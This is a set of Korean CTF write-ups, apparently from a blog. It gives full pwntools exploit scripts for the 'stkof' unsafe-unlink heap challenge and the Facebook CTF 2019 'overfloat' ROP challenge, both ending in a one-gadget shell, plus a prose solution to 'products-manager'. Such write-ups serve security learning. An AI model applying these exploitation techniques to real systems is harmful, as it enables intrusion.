vulnerability : unsafe_unlink

unsafe_unlink가 기억이 안나 복기할겸 문제를 풀었다.

이 문제같은 경우는 할당한 heap영역들을 0x602100에 저장하면서 free나 fread를 할 때도 0x602100에 있는 값을 기준으로 하기 때문에 unsafe unlink 공격이 가능했다.

 

0x602100에 strlen@got를 공략했다.

strlen의 got를 puts의 주소로 덮어쓰면 puts(s[index])가 되어 libc leak이 가능하기 때문이다.

그래서 0x602100에 strlen@got를 넣고 fread()함수를 통해 puts@plt를 넣은 후 릭을 하였고, 다시 0x602100에 puts@got 주소를 넣어 거기에 oneshot 가젯을 넣으며 익스를 했다.

from pwn import *

def malloc(size):
	p.sendline("1")
	p.sendline(str(size))
	#print p.recv()

def write(index, size, payload):
	p.sendline("2")
	p.sendline(str(index))
	p.sendline(str(size))
	p.send(payload)

def free(index):
	p.sendline("3")
	p.sendline(str(index))

def leak(index):
	p.sendline("4")
	p.sendline(str(index))
	return u64(p.recv(6).ljust(8, "\x00"))

if __name__ == '__main__':
	elf = ELF('./stkof')
	libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
	p = process('./stkof')

	puts_plt = elf.plt['puts']
	puts_got = elf.got['puts']
	strlen_got = elf.got['strlen']

	malloc(128)
	malloc(128)

	payload = p64(0)*2
	payload += p64(0x602130)
	payload += p64(0x602138)
	payload += p64(0)*142
	payload += p64(0x490)
	payload += p64(0x90)
	#pause()
	write(1, len(payload), payload)
	#pause()

	free(2)
	#print p.recv()

	payload = p64(0)*2
	payload += p64(strlen_got)
	payload += p64(0x602130)
	payload += p64(puts_got)

	write(1, len(payload), payload)
	#print p.recv()
	write(0, 8, p64(puts_plt))
	print p.recv()
	#pause()
	libc_puts = leak(2)
	libc_base = libc_puts - libc.symbols['puts']
	oneshot = libc_base + 0x45216

	log.info("libc_puts = {}".format(hex(libc_puts)))
	log.info("libc_base = {}".format(hex(libc_base)))
	log.info("oneshot = {}".format(hex(oneshot)))

	write(2, 8, p64(oneshot))

	p.interactive()

 

 

 

 메인 화면이다.

소스코드를 전부 제공해주기 때문에 살펴보자.

flag는 facebook이란 name이 있는 description에 있다.

sql injeciton 문제처럼 보인다.

get_product($name)는 name만 받아서 name과 description을 받아온다. 

그러나 preapare statement가 적용되어 있어 sql injection이 불가능하다.

그래서 add.php를 잘 살펴보면 facebook이란 name이 있지만 공백을 하나 추가시키면 mysql의 PDASPACE타입에 의해 공백과 무관하게 같은 facebook을 넣을 수 있다.

'CTF' 카테고리의 다른 글

facebook CTF 2019 overfloat  (0) 2019.06.03
defcon2019 speedrun  (0) 2019.05.28
hackzone 2019 pwn2 (Syscall)  (0) 2019.05.09
hackzone 2019 pwn1  (0) 2019.05.07
BTH_CTF 2019  (0) 2019.05.01

atof 함수에서 소수로 받아 4바이트씩 변수에 집어넣는데 원하는 만큼 집어넣는게 가능해서 오버플로우가 가능하다.

 

단 소수로 원하는 페이로드를 만들려면 IEEE floating point 변환을 해줘야 한다.

파이썬 코드로 짜는게 가능하지만 일단 빨리 풀기 위해 requests모듈로 웹사이트 기능을 크롤링해서 소수변환을 했다.

 

from pwn import *
import time
import json
import requests

def get_float(want):
	url = "https://www.h-schmidt.net/FloatConverter/binary-json.py?hexadecimal={}".format(want)
	response = requests.get(url)
	data = json.loads(response.text)

	return str(data['decimalRepr'])

#p = process('./overfloat')
p = remote('challenges.fbctf.com', 1341)
elf = ELF('./overfloat')
libc = ELF('./libc-2.27.so')

p.recv()

#nop = "-5.702072E-29"
nop = get_float("0x90909090")
pop_rdi = get_float("0x400a83")
pop_rsi_r15 = get_float("0x400a81")
puts_plt = get_float(hex(elf.plt['puts']))
puts_got = get_float(hex(elf.got['puts']))
main = get_float("0x400993")

i = 0
while(True):
	if i >= 14:
		break
	i += 1
	p.sendline(nop)
	p.recv()

p.sendline(pop_rdi)
p.recv()
p.sendline("0.0")
p.recv()
p.sendline(puts_got)
p.recv()
p.sendline("0.0")

p.sendline(puts_plt)
p.recv()
p.sendline("0.0")
p.recv()

#pause()

p.sendline(main)
hexdump(p.recv())
p.sendline("0.0")
hexdump(p.recv())

p.sendline("done")
#pause()
hexdump(p.recvuntil("\x0a"))

libc_puts = u64(p.recv(6).ljust(8, "\x00"))
log.info("libc_puts = {}".format(hex(libc_puts)))
libc_base = libc_puts - libc.symbols['puts']
log.info("libc_base = {}".format(hex(libc_base)))
libc_gets = libc_base + libc.symbols['gets']
log.info("libc_gets = {}".format(hex(libc_gets)))
oneshot = libc_base + 0x4f322
log.info("oneshot = {}".format(hex(oneshot)))

#pause()

i = 0
while(True):
	if i >= 14:
		break
	i += 1
	p.sendline(nop)
	p.recv()

p.sendline(pop_rdi)
p.recv()
p.sendline("0.0")
p.recv()

p.sendline(puts_got)
p.recv()
p.sendline("0.0")
p.recv()

p.sendline(get_float('0x'+hex(libc_gets)[-8:]))
p.recv()
length = len(hex(libc_gets)) - len(hex(libc_gets)[-8:])
p.sendline(get_float(hex(libc_gets)[:4+2]))
p.recv()

p.sendline(puts_plt)
p.recv()
p.sendline("0.0")
p.recv()

p.sendline("done")

hexdump(p.recv())
#pause()
p.sendline(p64(oneshot))
p.interactive()

 

 

Ref.https://www.h-schmidt.net/FloatConverter/IEEE754.html

'CTF' 카테고리의 다른 글

facebook CTF 2019 products-manager  (0) 2019.06.04
defcon2019 speedrun  (0) 2019.05.28
hackzone 2019 pwn2 (Syscall)  (0) 2019.05.09
hackzone 2019 pwn1  (0) 2019.05.07
BTH_CTF 2019  (0) 2019.05.01

+ Recent posts